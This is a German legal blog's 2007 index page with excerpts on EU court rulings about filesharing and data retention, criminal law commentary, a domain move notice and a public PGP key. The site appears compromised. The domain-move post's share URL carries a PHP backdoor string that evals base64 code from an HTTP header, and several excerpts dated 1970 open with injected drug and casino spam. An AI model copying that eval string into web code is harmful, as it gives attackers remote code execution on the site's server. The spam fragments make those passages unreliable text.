Update: Filesharing-Hilfe aus Luxemburg

Donnerstag, Juli 19th, 2007

Juliane Kokott, Generalanwältin des europäischen Gerichtshofes ist der Auffassung, europäisches Recht erlaube die Herausgabe von Nutzerdaten zur Identifikation von Tauschbörsennutzern bestenfalls im Zuge strafrechtlicher Ermittlungen. Ein spanisches Gericht hatte dem EuGH im Zuge des Vorlageverfahrens einen Fall Telefónica de España SAU zur Vorabentscheidung vorgelegt. Gestatten es das Gemeinschaftsrecht und insbesondere die Artikel ...

Die kriminellen Kinder

Mittwoch, Juni 27th, 2007

Marco W., der in der Türkei wg. mutmaßlicher sexueller Nötigung angeklagt ist, ist ein Warnzeichen dafür, wie ein Gesetzgeber es verschlafen kann, das Strafrecht der Realität anzupassen. Problematisch ist dabei weniger die Strafbarkeit nach türkischem Recht, und auch nicht die Frage wie es sich letzlich wirklich abgespielt hat. Problematisch ist es, dass ...

Die Hexenjagd um die “Kinderpornographie”

Montag, Mai 7th, 2007

Dass "Pädophile" inzwischen gleich dem Kommunismus unter Mc Carthey an jeder Straßenecke vermutet wird, ist ja nichts neues. Neu allerdings ist, dass die Staatsanwaltschaft Halle wegen des Verdachts auf Kinderpornographie in Second Life gegen unbekannt ermittelt. Ein Fall, der ausgerechnet bei Ermittler Vogt, der die umstrittene Operation Mikado angeleiert hat, gelandet ...

In eigener Sache: Umgezogen

Freitag, April 13th, 2007

Ich bin umgezogen zu einem anderen Provider, in einem anderen Land. Deshalb bin ich nun unter der Domain http://www.lawlita.com erreichbar. Bitte sei so gut, und update deine Bookmarks und RSS-Feeds auf die neue Domain. SHARETHIS.addEntry({ title: "In eigener Sache: Umgezogen", url: "http://www.lawlita.com/2007/04/13/in-eigener-sache-umgezogen/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });

Warum die EU-Verfassung die Todesstrafe nicht wieder einführt

Freitag, März 23rd, 2007

Lutz Forster schreibt darüber, Oeffinger Freidenker ebenfalls und auch politikblog.net fürchtet Böses. Durch eine Hintertür in der neuen EU-Verfassung komme die Todesstrafe zurück. Um zu verstehen, warum an dieser Auffassung wenig dran ist, bedarf eines kleinen politischen und juristischen Exkurses. In Erinnerung rufen muss man sich zunächst, als was die europäische Union ...

Sie klaun unsre Jooobs!

Donnerstag, März 22nd, 2007

Der von Oeffinger Freidenker ans Licht getragene unglaubliche Eklat um Charlotte Knobloch schlägt auch auf internationalem Parkett hohe Wellen. Die amerikanische Regierung hat mir zu verstehen gegeben, man denke über eine Intervention nach um ein neues Third Reich zu verhindern. Spanien, Nigeria und Somalia haben einen Sonderbotschafter entsand. In Brüssel trafen sich ...

PGP-Schlüssel

Dienstag, Dezember 26th, 2006

Im Folgenden der PGP-Key mit dem ihr mich erreichen könnt. Wer ihn braucht, hat meine E-Mail-Adresse. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.3 (GNU/Linux) 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 Yg== =nArX -----END PGP PUBLIC KEY BLOCK----- Alternativ hier! zum Download SHARETHIS.addEntry({ title: "PGP-Schlüssel", url: "http://www.lawlita.com/pgp-schluessel/" });

Gesteigerter Nerv-Level im Unterschichtenfernsehen

Mittwoch, Dezember 13th, 2006

Sollte die geänderte EU-Richtlinie zur Liberalisierung von TV-Werbung Realität werden, wird der Nerv-Faktor im Fernsehen weiter steigen. Zu den im Regelfall schon schmerzenden Inhalten kommen dann neben Sendezeichen, animierten Logos, viel zu lauter Werbung, Jamba-Klingelton-Texteinblendung, abgeschnittenen Abspännen, ruinierten Filmenden auf Grund sinnfreien Kommentar-Ansage-Gelabers und durch das Bild fliegenden Raumschiffen zunächst eine ...

Über Autor und Blog

Montag, November 6th, 2006

Über dieses Blog Auf den Domain-Namen hat mich eine Passage aus dem Bericht des Seelensuchers gebracht: Hier liegt Justitia auf dem Laken, grau und kühl. Vielleicht beruht die Blässe auf Gegenseitigkeit; jedenfalls droht, ein Kraftakt aus dem Akt zu werden. Lohnen könnte er sich trotzdem; immerhin liegt da ein verdammt kluges Mädchen, ...

Über den stillen Niedergang von 61 Jahren Rechtsentwicklung

Sonntag, November 5th, 2006

heute.de - Von Zustimmung bis Kritik Als das Ende einer Ära könnte man das Todesurteil gegen Saddam Hussein auffassen, das Ende von Völkermord und Menschenrechtsverletzungen im Irak. Trefflich könnte man darüber streiten inwiefern das Schicksal des irakischen Volkes, heldenhaft und altruistisch befreit von den USA, sich zum besseren gewandt hat. Viel interessanter ...

Der EuGH zur Vorratsdatenspeicherung

Donnerstag, Januar 1st, 1970

Xanax OnlineGeneric AdderallLevitra Der Europäische Gerichtshof (EuGH) hat eine Klage spanischer Musikproduzenten abgewiesen, wonach Telefonica Nutzerdaten von Filesharern herausgeben sollte. Laut dem am heutigen Dienstag veröffentlichten Urteil (Az.: C-275/06) gibt es keine europäische Vorgaben, die einen zivilrechtlichen Auskunftsanspruch gegenüber Internetprovidern vorschreiben. (Quelle: heise.de) Ein spanisches Gericht hatte dem EuGH die Frage vorgelegt, ob ...

Eilantrag gegen Vorratsdatenspeicherung erfolgreich (Update)

Donnerstag, Januar 1st, 1970

levitracialis onlineCialisPregnancy symptoms Das Bundesverfassungsgericht (BVerfG) hat dem Eilantrag gegen die Vorratsdatenspeicherung (VDS) teilweise stattgegeben. Zwar kippte es nicht die Speicherpflicht, aber schränkte die Herausgabepflicht stark ein: Sie [die Daten] sind jedoch nur dann an die Strafverfolgungsbehörde zu übermitteln, wenn Gegenstand des Ermittlungsverfahrens eine schwere Straftat im Sinne des 100a Abs. 2 ...

Blut, Mut, Feigheit

Donnerstag, Januar 1st, 1970

adderall onlinemap1Map2 Otto Depenheuer, der Gute-Nacht-Lektüren-Autor Wolfgang Schäubles spricht vom Bürgeropfer, vom wehrhaften Staat. So entwirft er das blutig-erotische Bild eines Staates und einer Gesellschaft, deren einzelne Mitglieder bereit sind, sich für etwas Größeres zu opfern; ein Projekt, das über jede einzelne Person hinausgeht und es ermöglicht, sich gleichsam im Opfer über ...

Kündigung bei der FAZ

Donnerstag, Januar 1st, 1970

crazy monkey So also läuft eine Kündigung bei der FAZ. Ich schicke Mitte Oktober ein Kündigungsschreiben zum "nächstmöglichen Termin" und bekomme als Antwort die Mitteilung, die Kündigung sei zum Jahresende (31.12.) eingetragen. Natürlich widerspreche ich und wünsche eine Kündigung nicht zum Jahres- sondern zum Monatsende. Wenig überraschend erhalte ich darauf keine Antwort ...